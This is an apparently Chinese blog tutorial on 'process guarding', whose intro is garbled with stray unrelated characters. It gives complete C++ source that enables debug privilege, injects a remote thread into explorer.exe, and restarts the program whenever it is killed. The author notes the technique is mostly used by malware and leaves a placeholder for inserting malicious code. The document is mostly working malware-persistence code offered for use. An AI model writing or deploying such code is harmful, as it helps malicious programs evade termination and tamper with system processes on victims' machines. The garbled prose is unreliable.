簡介
所謂進(jìn)程守護(hù)夕春,就是A進(jìn)程為了保護(hù)自己不被結(jié)束,創(chuàng)建了一個守護(hù)線程來保護(hù)自己承耿,一旦被結(jié)束進(jìn)程,便重新啟動伪煤。進(jìn)程守護(hù)的方法多被應(yīng)用于惡意軟件加袋,是一個保護(hù)自己進(jìn)程的一個簡單方式,在ring3下即可輕松實(shí)現(xiàn)带族。而創(chuàng)建守護(hù)線程的方法多采用遠(yuǎn)程線程注入的方式锁荔,筆者之前曾介紹過遠(yuǎn)程線程注入的基本方式,主要分為DLL遠(yuǎn)程注入和無DLL遠(yuǎn)程注入蝙砌。
代碼實(shí)現(xiàn)
///////////////////////////////////////////////////////////
//
// FileName : ProcessProtectorDemo.cpp
// Creator : PeterZheng
// Date : 2018/9/06 17:32
// Comment : Process Protector
//
////////////////////////////////////////////////////////////
#pragma once
#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <string.h>
#include <string>
#include <strsafe.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <vector>
using namespace std;
#define MAX_LENGTH 255
#pragma warning(disable:4996)
//遠(yuǎn)程線程參數(shù)結(jié)構(gòu)體
typedef struct _remoteTdParams
{
LPVOID ZWinExec; // WinExec Function Address
LPVOID ZOpenProcess; // OpenProcess Function Address
LPVOID ZWaitForSingleObject; // WaitForSingleObject Function Address
DWORD ZPid; // Param => Process id
HANDLE ZProcessHandle; // Param => Handle
CHAR filePath[MAX_LENGTH]; // Param => File Path
}RemoteParam;
//本地線程參數(shù)結(jié)構(gòu)體
typedef struct _localTdParams
{
CHAR remoteProcName[MAX_LENGTH];
DWORD localPid;
DWORD remotePid;
HANDLE hRemoteThread;
}LocalParam;
//字符串分割函數(shù)
BOOL SplitString(const string& s, vector<string>& v, const string& c)
{
string::size_type pos1, pos2;
pos2 = s.find(c);
pos1 = 0;
while (string::npos != pos2)
{
v.push_back(s.substr(pos1, pos2 - pos1));
pos1 = pos2 + c.size();
pos2 = s.find(c, pos1);
}
if (pos1 != s.length())
v.push_back(s.substr(pos1));
return TRUE;
}
//遠(yuǎn)程線程函數(shù)體 (守護(hù)函數(shù))
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
ZWinExec ZWE;
ZOpenProcess ZOP;
ZWaitForSingleObject ZWFSO;
ZWE = (ZWinExec)lprp->ZWinExec;
ZOP = (ZOpenProcess)lprp->ZOpenProcess;
ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;
lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);
ZWFSO(lprp->ZProcessHandle, INFINITE);
ZWE(lprp->filePath, SW_SHOW);
return 0;
}
//獲取PID
DWORD __cdecl GetProcessID(CHAR *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) return 0;
BOOL bProcess = Process32First(hProcessSnap, &pe32);
while (bProcess)
{
if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
return pe32.th32ProcessID;
bProcess = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return 0;
}
//獲取權(quán)限
int __cdecl EnableDebugPriv(const TCHAR *name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken)) return 1;
if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;
return 0;
}
//線程注入函數(shù)
BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
{
if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);
if (!hWnd) return FALSE;
RemoteParam rp;
ZeroMemory(&rp, sizeof(RemoteParam));
rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess");
rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");
rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject");
rp.ZPid = dwLocalPid;
CHAR szPath[MAX_LENGTH] = "\0";
GetModuleFileName(NULL, szPath, sizeof(szPath));
StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath);
RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteParam) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteThread) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
if (!hThread) return FALSE;
return TRUE;
}
//遠(yuǎn)程線程監(jiān)控函數(shù)(本地線程函數(shù))
DWORD WINAPI WatchFuncData(LPVOID lprarm)
{
HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread;
DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid;
DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid;
CHAR szRemoteProcName[MAX_LENGTH] = "\0";
StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName);
DWORD exitCode = 0;
while (TRUE)
{
if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
GetExitCodeThread(hRemoteThread, &exitCode);
if (exitCode^STILL_ACTIVE)
{
WinExec(szRemoteProcName, SW_HIDE);
dwRemotePid = GetProcessID(szRemoteProcName);
InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
}
Sleep(1000);
}
return 0;
}
//主函數(shù)
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
LocalParam lpLp;
ZeroMemory(&lpLp, sizeof(LocalParam));
CHAR szRemoteProcName[MAX_LENGTH] = "\0";
CHAR szLocalProcName[MAX_LENGTH] = "\0";
CHAR currentFilePath[MAX_LENGTH] = "\0";
vector<string> pathGroup;
GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath));
SplitString(currentFilePath, pathGroup, "\\");
StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());
StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe");
StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName);
StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName);
DWORD dwRemotePid = GetProcessID(szRemoteProcName);
DWORD dwLocalPid = GetProcessID(szLocalProcName);
HANDLE hThread = NULL;
lpLp.remotePid = dwRemotePid;
lpLp.localPid = dwLocalPid;
hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0);
//....插入惡意代碼等工作流程
while (TRUE)
{
MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK);
}
WaitForSingleObject(hThread, INFINITE);
return 0;
}